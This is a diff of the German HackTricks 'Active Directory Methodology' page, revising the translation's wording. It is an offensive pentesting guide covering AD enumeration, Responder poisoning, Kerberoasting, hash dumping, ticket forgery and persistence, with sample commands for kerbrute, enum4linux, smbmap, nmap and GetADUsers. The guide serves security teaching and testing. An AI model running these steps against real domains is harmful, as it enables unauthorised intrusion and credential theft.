- **HackTricks ermutigt** die Menschen, **Ihre Seite zu überprüfen** (mehrere Personen haben uns mitgeteilt, dass sie seitdem ihre Seite in HackTricks ist, mehr Besuche erhalten)
|
||||
|
||||
Wenn Sie jedoch weiterhin möchten, dass der Inhalt Ihres Blogs aus HackTricks entfernt wird, lassen Sie es uns einfach wissen und wir werden definitiv **jeden Link zu Ihrem Blog** und jeden darauf basierenden Inhalt entfernen.
|
||||
|
||||
|
||||
@ -1,10 +1,10 @@
|
||||
# Active Directory Methodologie
|
||||
# Active Directory Methodology
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Grundüberblick
|
||||
|
||||
**Active Directory** dient als grundlegende Technologie, die **Netzwerkadministratoren** ermöglicht, **Domänen**, **Benutzer** und **Objekte** innerhalb eines Netzwerks effizient zu erstellen und zu verwalten. Es ist darauf ausgelegt, skalierbar zu sein, und erleichtert die Organisation einer umfangreichen Anzahl von Benutzern in verwaltbare **Gruppen** und **Untergruppen**, während **Zugriffsrechte** auf verschiedenen Ebenen kontrolliert werden.
|
||||
**Active Directory** dient als grundlegende Technologie, die **Netzwerkadministratoren** ermöglicht, **Domänen**, **Benutzer** und **Objekte** innerhalb eines Netzwerks effizient zu erstellen und zu verwalten. Es ist so konzipiert, dass es skalierbar ist und die Organisation einer umfangreichen Anzahl von Benutzern in verwaltbare **Gruppen** und **Untergruppen** erleichtert, während **Zugriffsrechte** auf verschiedenen Ebenen kontrolliert werden.
|
||||
|
||||
Die Struktur von **Active Directory** besteht aus drei primären Ebenen: **Domänen**, **Bäume** und **Wälder**. Eine **Domäne** umfasst eine Sammlung von Objekten, wie **Benutzern** oder **Geräten**, die eine gemeinsame Datenbank teilen. **Bäume** sind Gruppen dieser Domänen, die durch eine gemeinsame Struktur verbunden sind, und ein **Wald** stellt die Sammlung mehrerer Bäume dar, die durch **Vertrauensverhältnisse** miteinander verbunden sind und die oberste Ebene der Organisationsstruktur bilden. Bestimmte **Zugriffs-** und **Kommunikationsrechte** können auf jeder dieser Ebenen festgelegt werden.
|
||||
|
||||
@ -12,7 +12,7 @@ Wichtige Konzepte innerhalb von **Active Directory** umfassen:
|
||||
|
||||
1. **Verzeichnis** – Beherbergt alle Informationen zu Active Directory-Objekten.
|
||||
2. **Objekt** – Bezeichnet Entitäten im Verzeichnis, einschließlich **Benutzern**, **Gruppen** oder **freigegebenen Ordnern**.
|
||||
3. **Domäne** – Dient als Container für Verzeichnisobjekte, wobei mehrere Domänen innerhalb eines **Waldes** koexistieren können, jede mit ihrer eigenen Objektsammlungen.
|
||||
3. **Domäne** – Dient als Container für Verzeichnisobjekte, wobei mehrere Domänen innerhalb eines **Walds** koexistieren können, jede mit ihrer eigenen Objektsammlungen.
|
||||
4. **Baum** – Eine Gruppierung von Domänen, die eine gemeinsame Stammdomäne teilen.
|
||||
5. **Wald** – Der Höhepunkt der Organisationsstruktur in Active Directory, bestehend aus mehreren Bäumen mit **Vertrauensverhältnissen** untereinander.
|
||||
|
||||
@ -29,54 +29,54 @@ Für eine detailliertere Erklärung siehe: [**TechTerms - Active Directory Defin
|
||||
|
||||
### **Kerberos-Authentifizierung**
|
||||
|
||||
Um zu lernen, wie man **ein AD angreift**, müssen Sie den **Kerberos-Authentifizierungsprozess** wirklich gut **verstehen**.\
|
||||
[**Lesen Sie diese Seite, wenn Sie noch nicht wissen, wie es funktioniert.**](kerberos-authentication.md)
|
||||
Um zu lernen, wie man **ein AD angreift**, muss man den **Kerberos-Authentifizierungsprozess** wirklich gut **verstehen**.\
|
||||
[**Lies diese Seite, wenn du noch nicht weißt, wie es funktioniert.**](kerberos-authentication.md)
|
||||
|
||||
## Cheat Sheet
|
||||
|
||||
Sie können viel auf [https://wadcoms.github.io/](https://wadcoms.github.io) nehmen, um einen schnellen Überblick darüber zu erhalten, welche Befehle Sie ausführen können, um ein AD zu enumerieren/exploiten.
|
||||
Du kannst viel auf [https://wadcoms.github.io/](https://wadcoms.github.io) nehmen, um einen schnellen Überblick darüber zu erhalten, welche Befehle du ausführen kannst, um ein AD zu enumerieren/exploiten.
|
||||
|
||||
## Recon Active Directory (Keine Anmeldeinformationen/Sitzungen)
|
||||
|
||||
Wenn Sie nur Zugriff auf eine AD-Umgebung haben, aber keine Anmeldeinformationen/Sitzungen besitzen, könnten Sie:
|
||||
Wenn du nur Zugang zu einer AD-Umgebung hast, aber keine Anmeldeinformationen/Sitzungen hast, könntest du:
|
||||
|
||||
- **Das Netzwerk testen:**
|
||||
- Scannen Sie das Netzwerk, finden Sie Maschinen und offene Ports und versuchen Sie, **Schwachstellen auszunutzen** oder **Anmeldeinformationen** von ihnen zu **extrahieren** (zum Beispiel könnten [Drucker sehr interessante Ziele sein](ad-information-in-printers.md)).
|
||||
- Scanne das Netzwerk, finde Maschinen und offene Ports und versuche, **Schwachstellen auszunutzen** oder **Anmeldeinformationen** von ihnen zu **extrahieren** (zum Beispiel könnten [Drucker sehr interessante Ziele sein](ad-information-in-printers.md)).
|
||||
- Die Enumeration von DNS könnte Informationen über wichtige Server in der Domäne wie Web, Drucker, Freigaben, VPN, Medien usw. liefern.
|
||||
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
|
||||
- Werfen Sie einen Blick auf die allgemeine [**Pentesting-Methodologie**](../../generic-methodologies-and-resources/pentesting-methodology.md), um weitere Informationen darüber zu finden, wie man dies macht.
|
||||
- **Überprüfen Sie auf Null- und Gastzugriff auf SMB-Dienste** (dies funktioniert nicht auf modernen Windows-Versionen):
|
||||
- Sieh dir die allgemeine [**Pentesting-Methodologie**](../../generic-methodologies-and-resources/pentesting-methodology.md) an, um mehr Informationen darüber zu finden, wie man dies macht.
|
||||
- **Überprüfe auf Null- und Gastzugriff auf SMB-Dienste** (dies wird in modernen Windows-Versionen nicht funktionieren):
|
||||
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
|
||||
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
|
||||
- `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
|
||||
- Eine detailliertere Anleitung zur Enumeration eines SMB-Servers finden Sie hier:
|
||||
- Eine detailliertere Anleitung zur Enumeration eines SMB-Servers findest du hier:
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-smb/
|
||||
{{#endref}}
|
||||
|
||||
- **Enumerate Ldap**
|
||||
- **Enumeriere LDAP**
|
||||
- `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
|
||||
- Eine detailliertere Anleitung zur Enumeration von LDAP finden Sie hier (achten Sie **besonders auf den anonymen Zugriff**):
|
||||
- Eine detailliertere Anleitung zur Enumeration von LDAP findest du hier (achte **besonders auf den anonymen Zugriff**):
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-ldap.md
|
||||
{{#endref}}
|
||||
|
||||
- **Das Netzwerk vergiften**
|
||||
- Sammeln Sie Anmeldeinformationen [**indem Sie Dienste mit Responder impersonieren**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
- Greifen Sie auf Hosts zu, indem Sie [**den Relay-Angriff ausnutzen**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
|
||||
- Sammeln Sie Anmeldeinformationen **indem Sie** [**falsche UPnP-Dienste mit evil-S exponieren**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
|
||||
- **Vergifte das Netzwerk**
|
||||
- Sammle Anmeldeinformationen [**indem du Dienste mit Responder impersonierst**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
- Greife Hosts an, indem du [**den Relay-Angriff ausnutzt**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
|
||||
- Sammle Anmeldeinformationen **indem du** [**falsche UPnP-Dienste mit evil-S exponierst**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
|
||||
- [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
|
||||
- Extrahieren Sie Benutzernamen/Namen aus internen Dokumenten, sozialen Medien, Diensten (hauptsächlich Web) innerhalb der Domänenumgebungen und auch aus öffentlich verfügbaren.
|
||||
- Wenn Sie die vollständigen Namen von Unternehmensmitarbeitern finden, könnten Sie verschiedene AD **Benutzername-Konventionen** ausprobieren (**[lesen Sie dies](https://activedirectorypro.com/active-directory-user-naming-convention/)**). Die häufigsten Konventionen sind: _NameNachname_, _Name.Nachname_, _NamNach_ (3 Buchstaben von jedem), _Nam.Nach_, _NNachname_, _N.Nachname_, _NachnameName_, _Nachname.Name_, _NachnameN_, _Nachname.N_, 3 _zufällige Buchstaben und 3 zufällige Zahlen_ (abc123).
|
||||
- Extrahiere Benutzernamen/Namen aus internen Dokumenten, sozialen Medien, Diensten (hauptsächlich Web) innerhalb der Domänenumgebungen und auch aus öffentlich verfügbaren.
|
||||
- Wenn du die vollständigen Namen von Unternehmensmitarbeitern findest, könntest du verschiedene AD **Benutzernamenskonventionen** ausprobieren (**[lies das](https://activedirectorypro.com/active-directory-user-naming-convention/)**). Die häufigsten Konventionen sind: _NameNachname_, _Name.Nachname_, _NamNach_ (3 Buchstaben von jedem), _Nam.Nach_, _NNachname_, _N.Nachname_, _NachnameName_, _Nachname.Name_, _NachnameN_, _Nachname.N_, 3 _zufällige Buchstaben und 3 zufällige Zahlen_ (abc123).
|
||||
- Werkzeuge:
|
||||
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
|
||||
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
|
||||
|
||||
### Benutzerenumeration
|
||||
|
||||
- **Anonymer SMB/LDAP enum:** Überprüfen Sie die [**Pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) und [**Pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) Seiten.
|
||||
- **Anonymer SMB/LDAP enum:** Überprüfe die [**Pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) und [**Pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) Seiten.
|
||||
- **Kerbrute enum**: Wenn ein **ungültiger Benutzername angefordert wird**, wird der Server mit dem **Kerberos-Fehler**-Code _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ antworten, was uns ermöglicht festzustellen, dass der Benutzername ungültig war. **Gültige Benutzernamen** werden entweder die **TGT in einer AS-REP**-Antwort hervorrufen oder den Fehler _KRB5KDC_ERR_PREAUTH_REQUIRED_, was darauf hinweist, dass der Benutzer eine Vor-Authentifizierung durchführen muss.
|
||||
```bash
|
||||
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
|
||||
@ -131,9 +131,9 @@ Sie könnten in der Lage sein, einige Challenge-**Hashes** zu erhalten, um **Pro
|
||||
|
||||
Wenn Sie es geschafft haben, das Active Directory zu enumerieren, haben Sie **mehr E-Mails und ein besseres Verständnis des Netzwerks**. Sie könnten in der Lage sein, NTML [**Relay-Angriffe**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* zu erzwingen, um Zugriff auf die AD-Umgebung zu erhalten.
|
||||
|
||||
### NTLM-Credentials stehlen
|
||||
### NTLM-Creds stehlen
|
||||
|
||||
Wenn Sie **auf andere PCs oder Freigaben** mit dem **null oder Gastbenutzer** zugreifen können, könnten Sie **Dateien** (wie eine SCF-Datei) platzieren, die, wenn sie irgendwie aufgerufen werden, eine **NTML-Authentifizierung gegen Sie auslösen**, sodass Sie die **NTLM-Herausforderung** stehlen können, um sie zu cracken:
|
||||
Wenn Sie **auf andere PCs oder Freigaben** mit dem **Null- oder Gastbenutzer** zugreifen können, könnten Sie **Dateien** (wie eine SCF-Datei) platzieren, die, wenn sie irgendwie aufgerufen werden, eine **NTML-Authentifizierung gegen Sie auslösen**, sodass Sie die **NTLM-Herausforderung** stehlen können, um sie zu cracken:
|
||||
|
||||
{{#ref}}
|
||||
../ntlm/places-to-steal-ntlm-creds.md
|
||||
@ -141,7 +141,7 @@ Wenn Sie **auf andere PCs oder Freigaben** mit dem **null oder Gastbenutzer** zu
|
||||
|
||||
## Enumerierung des Active Directory MIT Anmeldeinformationen/Sitzung
|
||||
|
||||
Für diese Phase müssen Sie **die Anmeldeinformationen oder eine Sitzung eines gültigen Domänenkontos kompromittiert haben.** Wenn Sie einige gültige Anmeldeinformationen oder eine Shell als Domänenbenutzer haben, **sollten Sie sich daran erinnern, dass die zuvor genannten Optionen weiterhin Optionen sind, um andere Benutzer zu kompromittieren**.
|
||||
Für diese Phase müssen Sie **die Anmeldeinformationen oder eine Sitzung eines gültigen Domänenkontos kompromittiert haben.** Wenn Sie einige gültige Anmeldeinformationen oder eine Shell als Domänenbenutzer haben, **sollten Sie sich daran erinnern, dass die zuvor genannten Optionen weiterhin Möglichkeiten sind, andere Benutzer zu kompromittieren**.
|
||||
|
||||
Bevor Sie mit der authentifizierten Enumerierung beginnen, sollten Sie wissen, was das **Kerberos-Doppelhop-Problem** ist.
|
||||
|
||||
@ -171,11 +171,11 @@ Bezüglich [**ASREPRoast**](asreproast.md) können Sie jetzt jeden möglichen ve
|
||||
|
||||
Es ist sehr einfach, alle Benutzernamen der Domäne von Windows zu erhalten (`net user /domain`, `Get-DomainUser` oder `wmic useraccount get name,sid`). In Linux können Sie verwenden: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` oder `enum4linux -a -u "user" -p "password" <DC IP>`
|
||||
|
||||
> Auch wenn dieser Abschnitt zur Enumerierung klein aussieht, ist dies der wichtigste Teil von allem. Greifen Sie auf die Links zu (hauptsächlich auf die von CMD, PowerShell, PowerView und BloodHound), lernen Sie, wie man eine Domäne enumeriert, und üben Sie, bis Sie sich wohlfühlen. Während einer Bewertung wird dies der entscheidende Moment sein, um Ihren Weg zu DA zu finden oder zu entscheiden, dass nichts getan werden kann.
|
||||
> Auch wenn dieser Abschnitt zur Enumerierung klein aussieht, ist dies der wichtigste Teil von allem. Greifen Sie auf die Links zu (hauptsächlich auf die von cmd, powershell, powerview und BloodHound), lernen Sie, wie man eine Domäne enumeriert, und üben Sie, bis Sie sich wohlfühlen. Während einer Bewertung wird dies der entscheidende Moment sein, um Ihren Weg zu DA zu finden oder zu entscheiden, dass nichts getan werden kann.
|
||||
|
||||
### Kerberoast
|
||||
|
||||
Kerberoasting beinhaltet das Erhalten von **TGS-Tickets**, die von Diensten verwendet werden, die an Benutzerkonten gebunden sind, und das Knacken ihrer Verschlüsselung—die auf Benutzerpasswörtern basiert—**offline**.
|
||||
Kerberoasting beinhaltet das Erhalten von **TGS-Tickets**, die von Diensten verwendet werden, die an Benutzerkonten gebunden sind, und das Cracken ihrer Verschlüsselung—die auf Benutzerpasswörtern basiert—**offline**.
|
||||
|
||||
Mehr dazu in:
|
||||
|
||||
@ -185,11 +185,11 @@ kerberoast.md
|
||||
|
||||
### Remote-Verbindung (RDP, SSH, FTP, Win-RM usw.)
|
||||
|
||||
Sobald Sie einige Anmeldeinformationen erhalten haben, könnten Sie überprüfen, ob Sie Zugriff auf irgendeine **Maschine** haben. Zu diesem Zweck könnten Sie **CrackMapExec** verwenden, um zu versuchen, sich auf mehreren Servern mit verschiedenen Protokollen gemäß Ihren Port-Scans zu verbinden.
|
||||
Sobald Sie einige Anmeldeinformationen erhalten haben, könnten Sie überprüfen, ob Sie Zugriff auf irgendeine **Maschine** haben. Zu diesem Zweck könnten Sie **CrackMapExec** verwenden, um zu versuchen, sich auf mehreren Servern mit verschiedenen Protokollen entsprechend Ihren Port-Scans zu verbinden.
|
||||
|
||||
### Lokale Privilegieneskalation
|
||||
|
||||
Wenn Sie kompromittierte Anmeldeinformationen oder eine Sitzung als regulärer Domänenbenutzer haben und Sie **Zugriff** mit diesem Benutzer auf **irgendeine Maschine in der Domäne** haben, sollten Sie versuchen, Ihren Weg zur **lokalen Eskalation von Privilegien und zum Ausspähen von Anmeldeinformationen** zu finden. Dies liegt daran, dass Sie nur mit lokalen Administratorrechten in der Lage sind, **Hashes anderer Benutzer** im Speicher (LSASS) und lokal (SAM) zu dumpen.
|
||||
Wenn Sie kompromittierte Anmeldeinformationen oder eine Sitzung als regulärer Domänenbenutzer haben und Sie mit diesem Benutzer **Zugriff** auf **irgendeine Maschine in der Domäne** haben, sollten Sie versuchen, Ihren Weg zur **lokalen Eskalation von Privilegien und zum Ausspähen von Anmeldeinformationen** zu finden. Dies liegt daran, dass Sie nur mit lokalen Administratorrechten in der Lage sind, **Hashes anderer Benutzer** im Speicher (LSASS) und lokal (SAM) zu dumpen.
|
||||
|
||||
Es gibt eine komplette Seite in diesem Buch über [**lokale Privilegieneskalation in Windows**](../windows-local-privilege-escalation/index.html) und eine [**Checkliste**](../checklist-windows-privilege-escalation.md). Vergessen Sie auch nicht, [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) zu verwenden.
|
||||
|
||||
@ -235,7 +235,7 @@ printnightmare.md
|
||||
|
||||
### Hash-Extraktion
|
||||
|
||||
Hoffentlich ist es Ihnen gelungen, **einige lokale Administrator**-Konten mit [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) einschließlich Relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [lokale Privilegien zu eskalieren](../windows-local-privilege-escalation/index.html) zu kompromittieren.\
|
||||
Hoffentlich ist es Ihnen gelungen, **einige lokale Administrator**-Konten mit [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) einschließlich Relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [lokale Privilegien zu eskalieren](../windows-local-privilege-escalation/index.html).\
|
||||
Dann ist es Zeit, alle Hashes im Speicher und lokal zu dumpen.\
|
||||
[**Lesen Sie diese Seite über verschiedene Möglichkeiten, die Hashes zu erhalten.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
|
||||
|
||||
@ -301,7 +301,7 @@ Wenn Sie dann den **Hash** dieses Benutzers/Computers **kompromittieren**, könn
|
||||
constrained-delegation.md
|
||||
{{#endref}}
|
||||
|
||||
### Ressourcenbasierte eingeschränkte Delegation
|
||||
### Ressourcenbasierte Eingeschränkte Delegation
|
||||
|
||||
Das Vorhandensein von **WRITE**-Berechtigungen auf einem Active Directory-Objekt eines Remote-Computers ermöglicht die Ausführung von Code mit **erhöhten Berechtigungen**:
|
||||
|
||||
@ -311,7 +311,7 @@ resource-based-constrained-delegation.md
|
||||
|
||||
### ACLs-Missbrauch
|
||||
|
||||
Der kompromittierte Benutzer könnte einige **interessante Berechtigungen über einige Domänenobjekte** haben, die es Ihnen ermöglichen könnten, **seitlich zu bewegen**/**Berechtigungen zu eskalieren**.
|
||||
Der kompromittierte Benutzer könnte einige **interessante Berechtigungen über einige Domänenobjekte** haben, die es Ihnen ermöglichen könnten, **seitlich zu wechseln**/**Berechtigungen zu eskalieren**.
|
||||
|
||||
{{#ref}}
|
||||
acl-persistence-abuse/
|
||||
@ -319,13 +319,13 @@ acl-persistence-abuse/
|
||||
|
||||
### Missbrauch des Druckspooler-Dienstes
|
||||
|
||||
Das Entdecken eines **Spool-Dienstes, der** innerhalb der Domäne **lauscht**, kann **ausgenutzt** werden, um **neue Anmeldeinformationen zu erwerben** und **Berechtigungen zu eskalieren**.
|
||||
Das Entdecken eines **Spool-Dienstes, der im Domänenbereich lauscht**, kann **ausgenutzt** werden, um **neue Anmeldeinformationen zu erwerben** und **Berechtigungen zu eskalieren**.
|
||||
|
||||
{{#ref}}
|
||||
printers-spooler-service-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### Missbrauch von Drittanbietersitzungen
|
||||
### Missbrauch von Drittanbieter-Sitzungen
|
||||
|
||||
Wenn **andere Benutzer** die **kompromittierte** Maschine **zugreifen**, ist es möglich, **Anmeldeinformationen aus dem Speicher zu sammeln** und sogar **Beacons in ihren Prozessen zu injizieren**, um sie zu impersonieren.\
|
||||
In der Regel greifen Benutzer über RDP auf das System zu, daher hier, wie man ein paar Angriffe über Drittanbieter-RDP-Sitzungen durchführt:
|
||||
@ -336,7 +336,7 @@ rdp-sessions-abuse.md
|
||||
|
||||
### LAPS
|
||||
|
||||
**LAPS** bietet ein System zur Verwaltung des **lokalen Administratorpassworts** auf domänenverbundenen Computern, um sicherzustellen, dass es **randomisiert**, einzigartig und häufig **geändert** wird. Diese Passwörter werden in Active Directory gespeichert und der Zugriff wird über ACLs nur für autorisierte Benutzer kontrolliert. Mit ausreichenden Berechtigungen zum Zugriff auf diese Passwörter wird das Pivotieren zu anderen Computern möglich.
|
||||
**LAPS** bietet ein System zur Verwaltung des **lokalen Administratorpassworts** auf domänenverbundenen Computern, um sicherzustellen, dass es **randomisiert**, einzigartig und häufig **geändert** wird. Diese Passwörter werden im Active Directory gespeichert und der Zugriff wird über ACLs nur für autorisierte Benutzer kontrolliert. Mit ausreichenden Berechtigungen zum Zugriff auf diese Passwörter wird das Pivotieren zu anderen Computern möglich.
|
||||
|
||||
{{#ref}}
|
||||
laps.md
|
||||
@ -411,13 +411,13 @@ golden-ticket.md
|
||||
|
||||
### Diamond Ticket
|
||||
|
||||
Diese sind wie goldene Tickets, die so gefälscht sind, dass sie **gemeinsame Erkennungsmechanismen für goldene Tickets umgehen**.
|
||||
Diese sind wie goldene Tickets, die so gefälscht sind, dass sie **gewöhnliche Erkennungsmechanismen für goldene Tickets umgehen**.
|
||||
|
||||
{{#ref}}
|
||||
diamond-ticket.md
|
||||
{{#endref}}
|
||||
|
||||
### **Zertifikate Konto-Persistenz**
|
||||
### **Zertifikatskonto-Persistenz**
|
||||
|
||||
**Zertifikate eines Kontos zu haben oder in der Lage zu sein, sie anzufordern**, ist eine sehr gute Möglichkeit, um in dem Benutzerkonto persistieren zu können (auch wenn er das Passwort ändert):
|
||||
|
||||
@ -425,7 +425,7 @@ diamond-ticket.md
|
||||
ad-certificates/account-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### **Zertifikate Domänen-Persistenz**
|
||||
### **Zertifikatsdomänen-Persistenz**
|
||||
|
||||
**Die Verwendung von Zertifikaten ist auch möglich, um mit hohen Berechtigungen innerhalb der Domäne zu persistieren:**
|
||||
|
||||
@ -435,13 +435,13 @@ ad-certificates/domain-persistence.md
|
||||
|
||||
### AdminSDHolder-Gruppe
|
||||
|
||||
Das **AdminSDHolder**-Objekt in Active Directory gewährleistet die Sicherheit von **privilegierten Gruppen** (wie Domain Admins und Enterprise Admins), indem es eine standardisierte **Zugriffskontrollliste (ACL)** auf diese Gruppen anwendet, um unbefugte Änderungen zu verhindern. Diese Funktion kann jedoch ausgenutzt werden; wenn ein Angreifer die ACL des AdminSDHolder so ändert, dass ein regulärer Benutzer vollen Zugriff erhält, gewinnt dieser Benutzer umfangreiche Kontrolle über alle privilegierten Gruppen. Diese Sicherheitsmaßnahme, die zum Schutz gedacht ist, kann somit nach hinten losgehen und unbefugten Zugriff ermöglichen, es sei denn, sie wird genau überwacht.
|
||||
Das **AdminSDHolder**-Objekt in Active Directory gewährleistet die Sicherheit von **privilegierten Gruppen** (wie Domain Admins und Enterprise Admins), indem es eine standardisierte **Zugriffskontrollliste (ACL)** auf diese Gruppen anwendet, um unbefugte Änderungen zu verhindern. Diese Funktion kann jedoch ausgenutzt werden; wenn ein Angreifer die ACL des AdminSDHolder so ändert, dass ein regulärer Benutzer vollen Zugriff erhält, erlangt dieser Benutzer umfangreiche Kontrolle über alle privilegierten Gruppen. Diese Sicherheitsmaßnahme, die zum Schutz gedacht ist, kann somit nach hinten losgehen und unbefugten Zugriff ermöglichen, es sei denn, sie wird genau überwacht.
|
||||
|
||||
[**Weitere Informationen zur AdminDSHolder-Gruppe hier.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
|
||||
[**Weitere Informationen zur AdminDSHolder-Gruppe finden Sie hier.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
|
||||
|
||||
### DSRM-Anmeldeinformationen
|
||||
|
||||
Innerhalb jedes **Domain Controllers (DC)** existiert ein **lokales Administratorkonto**. Durch den Erwerb von Admin-Rechten auf einem solchen Computer kann der Hash des lokalen Administrators mit **mimikatz** extrahiert werden. Danach ist eine Registrierungänderung erforderlich, um **die Verwendung dieses Passworts zu aktivieren**, was den Remote-Zugriff auf das lokale Administratorkonto ermöglicht.
|
||||
Innerhalb jedes **Domänencontrollers (DC)** existiert ein **lokales Administratorkonto**. Durch den Erwerb von Administratorrechten auf einem solchen Computer kann der Hash des lokalen Administrators mit **mimikatz** extrahiert werden. Danach ist eine Registrierungänderung erforderlich, um **die Verwendung dieses Passworts zu aktivieren**, was den Remote-Zugriff auf das lokale Administratorkonto ermöglicht.
|
||||
|
||||
{{#ref}}
|
||||
dsrm-credentials.md
|
||||
@ -449,7 +449,7 @@ dsrm-credentials.md
|
||||
|
||||
### ACL-Persistenz
|
||||
|
||||
Sie könnten einem **Benutzer** einige **besondere Berechtigungen** über einige spezifische Domänenobjekte geben, die es dem Benutzer ermöglichen, **in Zukunft Berechtigungen zu eskalieren**.
|
||||
Sie könnten einem **Benutzer** einige **besondere Berechtigungen** über bestimmte Domänenobjekte geben, die es dem Benutzer ermöglichen, **zukünftig Berechtigungen zu eskalieren**.
|
||||
|
||||
{{#ref}}
|
||||
acl-persistence-abuse/
|
||||
@ -482,7 +482,7 @@ custom-ssp.md
|
||||
|
||||
### DCShadow
|
||||
|
||||
Es registriert einen **neuen Domain Controller** im AD und verwendet ihn, um Attribute (SIDHistory, SPNs...) auf bestimmten Objekten **ohne** das Hinterlassen von **Protokollen** bezüglich der **Änderungen** zu **pushen**. Sie **benötigen DA**-Berechtigungen und müssen sich innerhalb der **Root-Domäne** befinden.\
|
||||
Es registriert einen **neuen Domänencontroller** im AD und verwendet ihn, um **Attribute** (SIDHistory, SPNs...) auf bestimmten Objekten **ohne** Protokollierung der **Änderungen** zu **pushen**. Sie **benötigen DA**-Berechtigungen und müssen sich im **Root-Domain** befinden.\
|
||||
Beachten Sie, dass bei Verwendung falscher Daten ziemlich hässliche Protokolle erscheinen werden.
|
||||
|
||||
{{#ref}}
|
||||
@ -502,19 +502,19 @@ laps.md
|
||||
|
||||
Microsoft betrachtet den **Wald** als die Sicherheitsgrenze. Dies impliziert, dass **die Kompromittierung einer einzelnen Domäne potenziell zur Kompromittierung des gesamten Waldes führen könnte**.
|
||||
|
||||
### Grundlegende Informationen
|
||||
### Grundinformationen
|
||||
|
||||
Ein [**Domänenvertrauen**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) ist ein Sicherheitsmechanismus, der es einem Benutzer aus einer **Domäne** ermöglicht, auf Ressourcen in einer anderen **Domäne** zuzugreifen. Es schafft im Wesentlichen eine Verbindung zwischen den Authentifizierungssystemen der beiden Domänen, die es ermöglicht, dass Authentifizierungsüberprüfungen nahtlos fließen. Wenn Domänen ein Vertrauen einrichten, tauschen sie spezifische **Schlüssel** innerhalb ihrer **Domain Controllers (DCs)** aus und behalten diese, was für die Integrität des Vertrauens entscheidend ist.
|
||||
Ein [**Domänenvertrauen**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) ist ein Sicherheitsmechanismus, der es einem Benutzer aus einer **Domäne** ermöglicht, auf Ressourcen in einer anderen **Domäne** zuzugreifen. Es schafft im Wesentlichen eine Verbindung zwischen den Authentifizierungssystemen der beiden Domänen, die es ermöglicht, dass Authentifizierungsüberprüfungen nahtlos fließen. Wenn Domänen ein Vertrauen einrichten, tauschen sie spezifische **Schlüssel** innerhalb ihrer **Domänencontroller (DCs)** aus und behalten diese, was für die Integrität des Vertrauens entscheidend ist.
|
||||
|
||||
In einem typischen Szenario, wenn ein Benutzer beabsichtigt, auf einen Dienst in einer **vertrauenswürdigen Domäne** zuzugreifen, muss er zunächst ein spezielles Ticket anfordern, das als **inter-realm TGT** bekannt ist, von dem DC seiner eigenen Domäne. Dieses TGT ist mit einem gemeinsamen **Schlüssel** verschlüsselt, auf den sich beide Domänen geeinigt haben. Der Benutzer präsentiert dann dieses TGT dem **DC der vertrauenswürdigen Domäne**, um ein Dienstticket (**TGS**) zu erhalten. Nach erfolgreicher Validierung des inter-realm TGT durch den DC der vertrauenswürdigen Domäne gibt dieser ein TGS aus, das dem Benutzer den Zugriff auf den Dienst gewährt.
|
||||
|
||||
**Schritte**:
|
||||
|
||||
